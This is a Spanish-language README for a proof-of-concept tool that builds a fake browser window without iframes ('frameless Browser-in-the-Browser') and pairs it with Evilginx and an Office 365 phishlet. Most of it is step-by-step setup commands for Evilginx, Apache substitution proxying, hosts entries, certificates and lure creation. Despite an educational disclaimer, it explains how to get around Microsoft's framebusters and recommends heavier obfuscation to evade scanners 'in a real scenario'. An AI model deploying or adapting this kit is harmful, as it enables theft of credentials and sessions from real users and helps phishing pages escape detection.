
Un nuevo enfoque para Browser In The Browser (BITB) sin el uso de iframes, permitiendo evitar los framebusters tradicionales implementados por páginas de inicio de sesión como Microsoft y el uso con Evilginx.
Un nuevo enfoque para el Navegador en el Navegador (BITB) sin el uso de iframes, permitiendo eludir los framebusters tradicionales implementados por páginas de inicio de sesión como Microsoft.
Este código POC está diseñado para usar este nuevo BITB con Evilginx y un phishlet de Microsoft Enterprise.

Antes de profundizar en esto, recomiendo que primero veas mi charla en BSides 2023, donde presenté este concepto junto con detalles importantes sobre cómo crear el ataque de phishing "perfecto". ▶ Ver Vídeo
Esta herramienta es solo para fines educativos y de investigación. Demuestra un método de Navegador en el Navegador (BITB) basado en no-iframe. El autor no es responsable por cualquier uso indebido. Usa esta herramienta solo de manera legal y ética, en entornos controlados para pruebas de defensa de ciberseguridad. Al usar esta herramienta, aceptas hacerlo de manera responsable y bajo tu propio riesgo.
Durante el año pasado, he estado experimentando con diferentes trucos para crear el ataque de phishing "perfecto". Las típicas "banderas rojas" que la gente está entrenada para buscar son cosas como urgencia, amenazas, autoridad, mala gramática, etc. La siguiente mejor cosa que la gente revisa hoy en día es el enlace/URL del sitio web con el que interactúan, y tienden a volverse muy conscientes en el momento en que se les pide ingresar credenciales sensibles como correos electrónicos y contraseñas. Ahí es donde entra en juego el Navegador en el Navegador (BITB). Originalmente introducido por @mrd0x, BITB es un concepto de crear la apariencia de una ventana de navegador creíble dentro de la cual el atacante controla el contenido (sirviendo el sitio web malicioso dentro de un iframe). Sin embargo, la barra de URL falsa de la ventana del navegador falso se establece en el sitio legítimo que el usuario esperaría. Esto combinado con una herramienta como Evilginx se convierte en la receta perfecta para un ataque de phishing creíble. El problema es que en los últimos meses/años, sitios web importantes como Microsoft han implementado varios pequeños trucos llamados "framebusters/framekillers" que principalmente intentan romper los iframes que podrían usarse para servir el sitio web proxyado como en el caso de Evilginx. En resumen, Evilginx + BITB para sitios web como Microsoft ya no funciona. Al menos no con un BITB que dependa de iframes.
¡Un Navegador en el Navegador (BITB) sin ningún iframe! Así de simple.
Lo que significa que ahora podemos usar BITB con Evilginx en sitios web como Microsoft.
Evilginx aquí es solo un ejemplo sólido, pero el mismo concepto se puede usar para otros casos de uso también.
Los framebusters se dirigen específicamente a los iframes, por lo que la idea es crear el efecto BITB sin el uso de iframes y sin alterar la estructura/contenido original de la página proxyada. Esto se puede lograr inyectando scripts y HTML junto al contenido original mediante búsqueda y reemplazo (también conocido como sustituciones), y luego confiando completamente en trucos de HTML/CSS/JS para lograr el efecto visual. También usamos un truco adicional llamado "Shadow DOM" en HTML para colocar el contenido de la página de aterrizaje (fondo) de tal manera que no interfiera con el contenido proxyado, permitiéndonos usar de manera flexible cualquier página de aterrizaje con scripts JS adicionales menores.
Crea una VM Linux local. (Yo personalmente uso Ubuntu 22 en VMWare Player o Parallels Desktop)
Actualiza y mejora los paquetes del sistema:
sudo apt update && sudo apt upgrade -y
Crea un nuevo usuario evilginx y agrega al usuario al grupo sudo:
sudo su
adduser evilginx
usermod -aG sudo evilginx
Prueba que el usuario evilginx esté en el grupo sudo:
su - evilginx
sudo ls -la /root
Navega al directorio home del usuario:
cd /home/evilginx
(Puedes hacer todo como usuario sudo también ya que estamos ejecutando todo localmente)
Descarga y compila Evilginx: Documentación Oficial
Copia los archivos de Evilginx a /home/evilginx
Instala Go: Documentación Oficial
wget https://go.dev/dl/go1.21.4.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.21.4.linux-amd64.tar.gz
nano ~/.profile
AÑADE: export PATH=$PATH:/usr/local/go/bin
source ~/.profile
Verifica:
go version
Instala make:
sudo apt install make
Compila Evilginx:
cd /home/evilginx/evilginx2
make
Crea un nuevo directorio para nuestra compilación de evilginx junto con phishlets y redirectors:
mkdir /home/evilginx/evilginx
Copia la compilación, phishlets y redirectors:
cp /home/evilginx/evilginx2/build/evilginx /home/evilginx/evilginx/evilginx
cp -r /home/evilginx/evilginx2/redirectors /home/evilginx/evilginx/redirectors
cp -r /home/evilginx/evilginx2/phishlets /home/evilginx/evilginx/phishlets
Solución rápida para el firewall de Ubuntu (gracias a @kgretzky)
sudo setcap CAP_NET_BIND_SERVICE=+eip /home/evilginx/evilginx/evilginx
En Ubuntu, si obtienes el error Failed to start nameserver on: :53, intenta modificar este archivo
sudo nano /etc/systemd/resolved.conf
edita/añade el DNSStubListener a no > DNSStubListener=no
luego
sudo systemctl restart systemd-resolved
Dado que usaremos Apache2 delante de Evilginx, necesitamos hacer que Evilginx escuche en un puerto diferente al 443.
nano ~/.evilginx/config.json
CAMBIA https_port de 443 a 8443
Instalar Apache2:
sudo apt install apache2 -y
Habilitar los módulos de Apache2 que se usarán: (También estamos deshabilitando el módulo access_compat ya que a veces causa problemas)
sudo a2enmod proxy
sudo a2enmod proxy_http
sudo a2enmod proxy_balancer
sudo a2enmod lbmethod_byrequests
sudo a2enmod env
sudo a2enmod include
sudo a2enmod setenvif
sudo a2enmod ssl
sudo a2ensite default-ssl
sudo a2enmod cache
sudo a2enmod substitute
sudo a2enmod headers
sudo a2enmod rewrite
sudo a2dismod access_compat
Iniciar y habilitar Apache:
sudo systemctl start apache2
sudo systemctl enable apache2
Prueba si Apache y la red de la VM funcionan visitando la IP de la VM desde un navegador en la máquina host.
Instalar git si aún no está disponible:
sudo apt -y install git
Clonar este repositorio:
git clone https://github.com/waelmas/frameless-bitb
cd frameless-bitb
Crea directorios para las páginas que serviremos:
sudo mkdir /var/www/home
sudo mkdir /var/www/primary
sudo mkdir /var/www/secondary
Copia los directorios para cada página:
sudo cp -r ./pages/home/ /var/www/
sudo cp -r ./pages/primary/ /var/www/
sudo cp -r ./pages/secondary/ /var/www/
Opcional: Elimina la página predeterminada de Apache (no se usa):
sudo rm -r /var/www/html/
Copia el phishlet O365 al directorio de phishlets:
sudo cp ./O365.yaml /home/evilginx/evilginx/phishlets/O365.yaml
Opcional: Para configurar el widget de Calendly para que use tu cuenta en lugar de la que tengo por defecto, ve a pages/primary/script.js y cambia CALENDLY_PAGE_NAME y CALENDLY_EVENT_TYPE.
Nota sobre la Ofuscación de Demostración: Como explico en el video tutorial, incluí una ofuscación mínima para contenido de texto como URLs y títulos del BITB. Puedes abrir el ofuscador de demostración abriendo demo-obfuscator.html en tu navegador. En un escenario real, recomendaría encarecidamente que ofusques fragmentos más grandes del código HTML inyectado o uses trucos de JS para evitar ser detectado y marcado. La versión avanzada en la que estoy trabajando usará una combinación de trucos avanzados para hacer casi imposible que los escáneres puedan identificar/detectar el código BITB, así que mantente atento.
Dado que ejecutamos todo localmente, necesitamos generar certificados SSL autofirmados que Apache usará. Evilginx no necesitará los certificados ya que lo ejecutaremos en modo desarrollador.
Usaremos el dominio fake.com que apuntará a nuestra VM local. Si deseas usar un dominio diferente, asegúrate de cambiar el dominio en todos los archivos (archivos de configuración de Apache, archivos JS, etc.).
Crea el directorio y los padres si no existen:
sudo mkdir -p /etc/ssl/localcerts/fake.com/
Genera los certificados SSL usando el archivo de configuración de OpenSSL:
sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
-keyout /etc/ssl/localcerts/fake.com/privkey.pem -out /etc/ssl/localcerts/fake.com/fullchain.pem \
-config openssl-local.cnf
Modifica los permisos de la clave privada:
sudo chmod 600 /etc/ssl/localcerts/fake.com/privkey.pem
Copia los archivos de sustitución personalizados (el núcleo de nuestro enfoque):
sudo cp -r ./custom-subs /etc/apache2/custom-subs
Nota Importante: En este repositorio he incluido 2 configuraciones de sustitución para Chrome en Mac y Chrome en Windows BITB. Ambas tienen detección automática y estilo para modo claro/oscuro y deberían actuar como plantillas base para lograr lo mismo para otras combinaciones de navegador/SO. Como no incluí la detección automática de la combinación de navegador/SO utilizada para visitar nuestra página de phishing, tendrás que usar una de las dos o implementar tu propia lógica para el cambio automático.
Ambos archivos de configuración en /apache-configs/ son iguales, solo con una directiva Include diferente para el archivo de sustitución que se incluirá. (hay 2 referencias para cada archivo)
# Descomenta el que quieras y recuerda reiniciar Apache después de cualquier cambio:
#Include /etc/apache2/custom-subs/win-chrome.conf
Include /etc/apache2/custom-subs/mac-chrome.conf
Simplemente para facilitarlo, incluí ambas versiones como archivos separados para este siguiente paso.
Windows/Chrome BITB:
sudo cp ./apache-configs/win-chrome-bitb.conf /etc/apache2/sites-enabled/000-default.conf
Mac/Chrome BITB:
sudo cp ./apache-configs/mac-chrome-bitb.conf /etc/apache2/sites-enabled/000-default.conf
Prueba las configuraciones de Apache para asegurarte de que no haya errores:
sudo apache2ctl configtest
Reinicia Apache para aplicar los cambios:
sudo systemctl restart apache2
Obtén la IP de la VM usando ifconfig y anótala en algún lugar para el siguiente paso.
Ahora necesitamos agregar nuevas entradas a nuestro archivo hosts, para apuntar el dominio utilizado en esta demostración fake.com y todos los subdominios utilizados a nuestra VM en la que se ejecutan Apache y Evilginx.
En Windows:
Abre el Bloc de notas como Administrador (Buscar > Bloc de notas > Clic derecho > Ejecutar como administrador)
Haz clic en la opción Archivo (arriba a la izquierda) y en la barra de direcciones del Explorador de archivos, copia y pega lo siguiente:
C:\Windows\System32\drivers\etc\
Cambia el tipo de archivos (abajo a la derecha) a "Todos los archivos".
Haz doble clic en el archivo llamado hosts
En Mac:
Abre una terminal y ejecuta lo siguiente:
sudo nano /private/etc/hosts
Ahora modifica los siguientes registros (reemplaza [IP] con la IP de tu VM) y luego pega los registros al final del archivo hosts:
# Local Apache and Evilginx Setup
[IP] login.fake.com
[IP] account.fake.com
[IP] sso.fake.com
[IP] www.fake.com
[IP] portal.fake.com
[IP] fake.com
# End of section
Guarda y sale.
Ahora reinicia tu navegador antes de pasar al siguiente paso.
Nota: En Mac, usa el siguiente comando para limpiar la caché DNS:
sudo dscacheutil -flushcache; sudo killall -HUP mDNSResponder
Esta demostración está hecha con el phishlet de Office 365 Enterprise proporcionado. Para obtener las entradas de host que necesitas agregar para un phishlet diferente, usa phishlet get-hosts [NOMBRE_PHISHLET] pero recuerda reemplazar 127.0.0.1 con la IP local real de tu VM.
Dado que estamos usando certificados SSL autofirmados, nuestro navegador nos advertirá cada vez que intentemos visitar fake.com, por lo que necesitamos hacer que nuestra máquina host confíe en la autoridad de certificación que firmó los certificados SSL.
Para este paso, es más fácil seguir las instrucciones del video, pero aquí está la esencia de todos modos.
Abre https://fake.com/ en tu navegador Chrome.
Ignora la advertencia de sitio no seguro y continúa a la página.
Haz clic en el ícono SSL > Detalles > Exportar Certificado
IMPORTANTE: Al guardar, el nombre DEBE terminar con .crt para que Windows lo abra correctamente.
Haz doble clic en él > instalar para el usuario actual. NO selecciones automático, en su lugar coloca el certificado en un almacén específico: selecciona "Entidades de certificación raíz de confianza".
En Mac: para instalar solo para el usuario actual > selecciona "Keychain: login" Y haz clic en "View Certificates" > detalles > confiar > Confiar siempre
Ahora REINICIA tu Navegador
Deberías poder visitar https://fake.com ahora y ver la página de inicio sin advertencias SSL.
En este punto, todo debería estar listo para que podamos iniciar Evilginx, configurar el phishlet, crear nuestro señuelo y probarlo.
Opcional: Instalar tmux (para mantener evilginx ejecutándose incluso si la sesión de terminal se cierra. Principalmente útil cuando se ejecuta en una VM remota).
sudo apt install tmux -y
Inicia Evilginx en modo desarrollador (usando tmux para evitar perder la sesión):
tmux new-session -s evilginx
cd ~/evilginx/
./evilginx -developer
(Para volver a adjuntar la sesión de tmux usa tmux attach-session -t evilginx)
Configuración de Evilginx:
config domain fake.com
config ipv4 127.0.0.1
IMPORTANTE: Configura el modo de lista negra de Evilginx en NoAdd para evitar poner en lista negra a Apache, ya que todas las solicitudes provendrán de Apache y no de la IP real del visitante.
blacklist noadd
Configurar Phishlet y Señuelo:
phishlets hostname O365 fake.com
phishlets enable O365
lures create O365
lures get-url 0
Copia la URL del señuelo y visítala desde tu navegador (usa el usuario Invitado en Chrome para evitar tener que eliminar todos los datos guardados en caché entre pruebas).
BITB original basado en iframes por @mrd0x: https://github.com/mrd0x/BITB
Curso de Maestría en Evilginx por el creador de Evilginx @kgretzky: https://academy.breakdev.org/evilginx-mastery
Mi charla en BSides 2023: https://www.youtube.com/watch?v=p1opa2wnRvg
Cómo proteger Evilginx usando Cloudflare y Ofuscación HTML: https://www.jackphilipbutton.com/post/how-to-protect-evilginx-using-cloudflare-and-html-obfuscation
Recursos de Evilginx para Microsoft 365 por @BakkerJan: https://janbakker.tech/evilginx-resources-for-microsoft-365/